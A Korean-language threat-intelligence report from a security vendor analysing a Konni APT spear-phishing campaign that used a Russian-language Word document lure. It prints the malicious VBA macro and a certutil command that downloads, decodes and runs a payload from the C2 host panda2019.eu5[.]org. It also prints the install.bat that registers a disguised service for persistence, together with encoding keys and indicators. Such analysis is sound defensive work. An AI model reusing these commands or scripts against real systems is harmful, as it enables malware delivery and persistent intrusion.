포스팅 내용

악성코드 분석 리포트

코니(Konni) APT 그룹, 러시아-북한-한국 무역, 경제관계 투자문서로 공격 수행



안녕하세요? 이스트시큐리티 시큐리티 대응센터(이하 ESRC)입니다.


지난 09월 22일 코니(Konni) 그룹의 새로운 위협활동이 포착되었습니다.


ESRC는 이번 공격에 사용된 악성파일이 기존에 보고되었던 코니(Konni) 시리즈와 동일한 것으로 분류하였습니다.


지난 달 19일 보고한 바 있는 【코니(Konni) APT 조직, 러시아 문서로 위장한 공격 등장】 사례와 매우 유사합니다.



■ 러시아어로 작성된 악성문서 공격 지속



공격에 사용된 벡터는 스피어 피싱(Spear Phishing) 방법이 사용되었을 것으로 추정되며, 한국에서 보고되었습니다.


첨부파일로 사용되었을 것으로 의심되는 악성파일은 러시아어로 'Россия – КНДР – РК – торгово-экономические связи – инвестиции.doc' 파일명을 가지고 있습니다.


러시아어를 한국어로 번역하면 '러시아 – 북한 – 대한민국 – 무역 및 경제 관계 – 투자.doc' 파일명이 됩니다.



 파일명

  작성자

 최종 수정자

 최종 수정일

 MD5 

 Россия – КНДР – РК – торгово-экономические связи – инвестиции.doc

 Administrator Windows user

 2019. 09. 05 07:14:00 (UTC)

 0c81b761f75047ccc4f41371fd8106d4



악성 문서파일의 구조를 살펴보면, 다음과 같은 스트림 구조를 가지고 있으며, 문서파일의 코드페이지(CodePage)가 한글(949)로 설정된 것을 알 수 있습니다.



[그림 1] 악성 문서파일의 코드페이지가 한글로 설정된 화면



공격자가 기존부터 계속해서 한국어 기반에서 악성 코드를 제작하고 있다는 것을 볼 수 있습니다.


DOC 문서파일이 실행되면 다음과 같이 러시아어 텍스트로 설정된 언어 교정 도구 없음 화면과 일부 액티브 콘텐츠 차단 보안경고 창이 나타납니다.


그리고 본문 영역에는 실제 내용이 포함되어 있지만, 폰트 컬러가 백색으로 설정되어 있어 문단을 선택하거나 폰트 컬러를 변경해야만 확인이 가능합니다.


공격자는 마치 본문이 보이지 않도록 설정해 [콘텐츠 사용] 버튼을 클릭하도록 유도하게 만듭니다.



[그림 2] DOC 워드 문서파일이 실행된 화면



악성 DOC 문서파일에는 다음과 같은 VBA 코드가 포함되어 있습니다.


만약, [콘텐츠 사용] 버튼이 클릭되면 내부에 포함되어 있던 VBA 악성 코드가 활성화됩니다. 그리고 다음과 같이 문서 내용이 출력되어 이용자로 하여금 정상 문서파일처럼 현혹하게 만듭니다.



Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Control = "TextBox2, 1, 1, MSForms, TextBox"

Attribute VB_Control = "TextBox3, 2, 2, MSForms, TextBox"

Private Sub Document_Open()

    Dim nResult As Long

    Dim sCmdLine As String


    With ActiveDocument.Content

        .Font.ColorIndex = wdBlack

    End With

    

    If (TextBox1.Text <> "") Then

        sCmdLine = Environ("windir")

        nResult = InStr(Application.Path, "x86")

        If nResult <> 0 Then

            sCmdLine = sCmdLine & TextBox1.Text

        Else

            sCmdLine = sCmdLine & TextBox2.Text

        End If

        

        sCmdLine = sCmdLine + TextBox3.Text

        nResult = Shell(sCmdLine, vbHide)

        TextBox1.Text = ""

        TextBox2.Text = ""

        TextBox3.Text = ""

        ActiveDocument.Save

    End If

End Sub



[그림 3] 악성 문서파일 실행된 화면과 VBA 코드



VBA 코드는 ObjectPool 영역에 포함되어 있는 악성 C2 서버와 연결되도록 만듭니다.


공격자는 ObjectPool TextBox1~TextBox3 데이터와 콘텐츠에 포함되어 있는 명령어 조합을 통해 공격자의 서버와 통신을 수행하게 됩니다.


'_1629205277' 오브젝트 콘텐츠에는 다음과 같이 C2 서버 'panda2019.eu5[.]org' 주소와 통신하는 기능이 하드코딩되어 있습니다.


그리고 'certutil.exe' 정상파일을 'mx.exe' 파일명으로 복사하고, '1.txt' 파일을 디코딩하고 실행하는데 활용합니다.



copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://panda2019.eu5[.]org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat



[그림 4] 오브젝트 영역에 숨겨져 있는 악성 C2 접속 명령 화면



'http://panda2019.eu5[.]org/1.txt' 서버와 통신이 성공되면, 다음과 같이 텍스트 파일로 위장한 Base64 데이터가 받아지게 됩니다.



[그림 5] Base64 인코딩 데이터 화면



'1.txt' 파일이 정상적으로 복호화되면, 내부에 포함되어 있던 또 다른 배치(Bat)파일 명령어가 작동하게 됩니다.


배치파일 명령에는 동일한 C2 서버에서 '2.txt', '3.txt' 파일을 불러와 'setup.cab' 압축파일로 변환하고, 기존에 추가 생성한 'mx.exe' 파일을 통해 Base64 코드를 디코딩합니다.


'2.txt' 파일은 32비트 기반의 악성파일이 '3.txt' 파일은 64비트 기반의 악성파일이 포함되어 있습니다.



[그림 6] 악성 배치파일 화면



'2.txt' 파일과 '3.txt' 파일에도 Base64 인코딩 데이터가 포함되어 있으며, CAB 파일로 변환되는 과정을 거치게 됩니다. 그리고 관리자 권한 설정에 따라 조건분기 합니다.



[그림 7] Base64 인코딩 데이터를 포함하고 있는 화면



디코딩 과정을 거치면  CAB 압축파일 내부 정보를 볼 수 있는데, 2개의 DLL 악성파일과 1개의 ini 설정파일, 설치용 'install.bat' 파일이 포함되어 있습니다.


'install.bat' 파일에는 다음과 같은 명령어가 포함되어 있으며, 'xclietnsvc.dll' 악성 페이로드를 실행하게 만듭니다.



@echo off


sc stop COMSysApp > nul

echo %~dp0 | findstr /i "system32" > nul

if %ERRORLEVEL% equ 0 (goto INSTALL) else (goto COPYFILE)


:COPYFILE

copy /y "%~dp0\xclientsvc.dll" %windir%\System32 > nul

del /f /q "%~dp0\xclientsvc.dll" > nul


copy /y "%~dp0\xclientsvc.ini" %windir%\System32 > nul

del /f /q "%~dp0\xclientsvc.ini" > nul


:INSTALL

sc query ComSysApp > nul

if %errorlevel% neq 0 (

sc create ComSysApp binpath= "%windir%\System32\svchost.exe -k COMSysApp" DisplayName= "COM+ System Application" > nul

sc description ComSysApp "@comres.dll,-948" > nul

)

sc stop COMSysApp > nul

sc config COMSysApp type= interact type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k COMSysApp" > nul

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f > nul

reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\System32\xclientsvc.dll" /f > nul

sc start COMSysApp > nul


del /f /q "%TEMP%\xclientelv.dll" > nul

del /f /q "%~dpnx0" > nul



[그림 8] 'setup.cab' 압축 파일 내부 화면


 

'xclientsvc.dll' 파일은 커스텀 Base64 캐릭터 셋을 통해 인코딩된 데이터를 디코딩한 후 명령을 수행하게 됩니다.



TYXpzsuDoFSMmd70k%BGKHQb6Z5ygVcRiP8AO4aWhlf2t1-ExvqrwUj93CL=JNIne



[그림 9] 커스텀 Base64 디코딩 키 테이블



■ 기존 코니(Konni) 시리즈와 유사성 비교



디코딩 함수를 기존 코니(Konni) 사례들과 비교해 보면 정확히 일치함을 알 수 있습니다.



[그림 10] 기존 코니 시리즈들 디코딩 루틴 비교 화면



'xclientsvc.ini' 파일에는 인코딩된 추가 C2 서버 주소가 포함되어 있으며, 커스텀 Base64 디코딩 과정을 거치면 동일한 'panda2019.eu5[.]org' C2 서버에서 '4.txt' 파일을 다운로드합니다.



[그림 11] ini 설정파일에 숨겨져 있는 '4.txt' 통신시도 화면



'4.txt' 파일에는 또 다른 인코딩 데이터가 포함되어 있으며, 디코딩을 거치면 C2 서버 통신에 필요한 암호가 포함되어 있습니다.



gus-ZuzqmpzCMaHUdBCEgagdXWYPya%PmATv7BC4VGK-y9FWpkhvmAdvVjHYKw%5QzmdXOee

 


[그림 12] '4.txt' 파일에 숨겨져 있던 정보



과거에 보고된 여러 코니(Konni) 사례들처럼 (커스텀) Base64 디코딩 방식과 CAB 압축파일 포맷, UPX 패킹 등이 동일합니다. 물론, 커스텀 Base64 키 테이블은 조금씩 달라지고 있지만 큰 흐름에서는 변화가 없습니다.


또한, 사용하는 C2 서버 주소역시 'handicap.eu5[.]org' 때와 유사한 'panda2019.eu5[.]org' 도메인이 사용되었습니다.



 파일명

 제작날짜 (UTC)

 C2

 compvgk.dll

 2019-01-21 03:02:36

 clean.1apps[.]com

 mshlpsrvc.dll 2019-07-12 09:09:52 handicap.eu5[.]org
 xclientsvc.dll 2019-09-05 07:05:43 panda2019.eu5[.]org



■ 코니(Konni) 조직의 위협은 지속



ESRC에서는 한국내에서 코니(Konni) 조직이 다양한 위협활동에 가담하고 있다는 것을 여러차례 공개한 바 있으며, 김수키(Kimsuky) 그룹과도 연관성을 처음 공개한 바 있습니다.


이들은 한국에 있는 대북관계자를 겨냥한 지속적인 표적공격을 수행하고 있으며, 비트코인 거래 관계자에 대한 위협시도도 꾸준히 포착되고 있습니다.


APT 조직간의 연관성이나 거짓 표식(False Flag)을 구분하는데 많은 노력이 필요한 만큼, 이들 조직에 대한 지속적인 관찰과 추적이 필요합니다.


알약 제품군에서는 관련 악성코드에 대해 'Trojan.Downloader.DOC.Gen', 'Trojan.Agent.3584' 등으로 탐지 및 치료기능을 제공하고 있습니다.


이번에 발견된 악성 샘플과 관련된 상세 IoC(침해지표)는 '쓰렛 인사이드(Threat Inside)' 서비스에서 확인하실 수 있습니다.



티스토리 방명록 작성
name password homepage